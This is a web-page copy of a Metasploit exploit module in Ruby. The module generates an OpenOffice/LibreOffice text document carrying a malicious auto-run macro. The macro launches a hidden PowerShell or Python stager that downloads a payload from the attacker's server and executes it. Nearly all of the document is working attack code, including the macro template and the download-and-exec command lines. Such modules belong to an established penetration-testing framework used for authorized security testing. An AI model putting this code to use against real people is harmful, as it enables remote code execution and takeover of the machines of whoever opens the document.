Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/openoffice_document_macro.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/zip'
7
require 'cgi'
8
9
class MetasploitModule < Msf::Exploit::Remote
10
Rank = ExcellentRanking
11
12
include Msf::Exploit::FILEFORMAT
13
include Msf::Exploit::Powershell
14
include Msf::Exploit::Remote::HttpServer
15
16
WINDOWSGUI = 'windows'
17
OSXGUI = 'osx'
18
LINUXGUI = 'linux'
19
20
def initialize(info = {})
21
super(
22
update_info(
23
info,
24
'Name' => "Apache OpenOffice Text Document Malicious Macro Execution",
25
'Description' => %q{
26
This module generates an Apache OpenOffice Text Document with a malicious macro in it.
27
To exploit successfully, the targeted user must adjust the security level in Macro
28
Security to either Medium or Low. If set to Medium, a prompt is presented to the user
29
to enable or disable the macro. If set to Low, the macro can automatically run without
30
any warning.
31
32
The module also works against LibreOffice.
33
},
34
'License' => MSF_LICENSE,
35
'Author' => [
36
'sinn3r' # Metasploit
37
],
38
'References' => [
39
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
40
],
41
'DefaultOptions' => {
42
'EXITFUNC' => 'thread',
43
'DisablePayloadHandler' => false
44
},
45
'Targets' => [
46
[
47
'Apache OpenOffice on Windows (PSH)', {
48
'Platform' => 'win',
49
'Arch' => [ARCH_X86, ARCH_X64]
50
}
51
],
52
[
53
'Apache OpenOffice on Linux/OSX (Python)', {
54
'Platform' => 'python',
55
'Arch' => ARCH_PYTHON
56
}
57
]
58
],
59
'Privileged' => false,
60
'DisclosureDate' => '2017-02-08',
61
'Notes' => {
62
'Reliability' => UNKNOWN_RELIABILITY,
63
'Stability' => UNKNOWN_STABILITY,
64
'SideEffects' => UNKNOWN_SIDE_EFFECTS
65
}
66
)
67
)
68
69
register_options([
70
OptString.new("BODY", [false, 'The message for the document body', '']),
71
OptString.new('FILENAME', [true, 'The OpenOffice Text document name', 'msf.odt'])
72
])
73
end
74
75
def on_request_uri(cli, req)
76
print_status("Sending payload")
77
78
if target.name =~ /PSH/
79
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)
80
else
81
p = payload.encoded
82
end
83
84
send_response(cli, p, 'Content-Type' => 'application/octet-stream')
85
end
86
87
def primer
88
print_status("Generating our odt file for #{target.name}...")
89
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro')
90
docm = package_odt(path)
91
file_create(docm)
92
end
93
94
def get_windows_stager
95
%Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")|
96
end
97
98
def get_unix_stager
99
%Q|Shell("#{generate_python_stager}")|
100
end
101
102
def generate_psh_stager
103
@windows_psh_stager ||= lambda {
104
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
105
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
106
download_and_run = "#{ignore_cert}#{download_string}"
107
generate_psh_command_line(
108
noprofile: true,
109
windowstyle: 'hidden',
110
command: download_and_run
111
)
112
}.call
113
end
114
115
def generate_python_stager
116
@python_stager ||= lambda {
117
%Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""|
118
}.call
119
end
120
121
def get_statger
122
case target.name
123
when /PSH/
124
get_windows_stager
125
when /Python/
126
get_unix_stager
127
end
128
end
129
130
# This macro code has the following in mind:
131
# 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX,
132
# we only want to fire at those.
133
# 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it.
134
# This turned out to be problematic, because for some reason OpenOffice is not able to
135
# write a large string to a file (I've tried either shell("echo") or using the macro API).
136
# The stager code is similar to web_delivery.
137
def macro_code
138
CGI.escapeHTML(%Q|
139
Sub OnLoad
140
Dim os as string
141
os = GetOS
142
If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then
143
Exploit
144
end If
145
End Sub
146
147
Sub Exploit
148
#{get_statger}
149
End Sub
150
151
Function GetOS() as string
152
select case getGUIType
153
case 1:
154
GetOS = "#{WINDOWSGUI}"
155
case 3:
156
GetOS = "#{OSXGUI}"
157
case 4:
158
GetOS = "#{LINUXGUI}"
159
end select
160
End Function
161
162
Function GetExtName() as string
163
select case GetOS
164
case "#{WINDOWSGUI}"
165
GetFileName = "exe"
166
case else
167
GetFileName = "bin"
168
end select
169
End Function
170
|)
171
end
172
173
def on_file_read(short_fname, full_fname)
174
buf = File.read(full_fname)
175
176
case short_fname
177
when /content\.xml/
178
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
179
when /Module1\.xml/
180
buf.gsub!(/CODEGOESHERE/, macro_code)
181
end
182
183
yield short_fname, buf
184
end
185
186
def package_odt(path)
187
zip = Rex::Zip::Archive.new
188
189
Dir["#{path}/**/**"].each do |file|
190
p = file.sub(path + '/', '')
191
192
if File.directory?(file)
193
print_status("Packaging directory: #{file}")
194
zip.add_file(p)
195
else
196
on_file_read(p, file) do |fname, buf|
197
print_status("Packaging file: #{fname}")
198
zip.add_file(fname, buf)
199
end
200
end
201
end
202
203
zip.pack
204
end
205
206
def exploit
207
super
208
end
209
end
210
211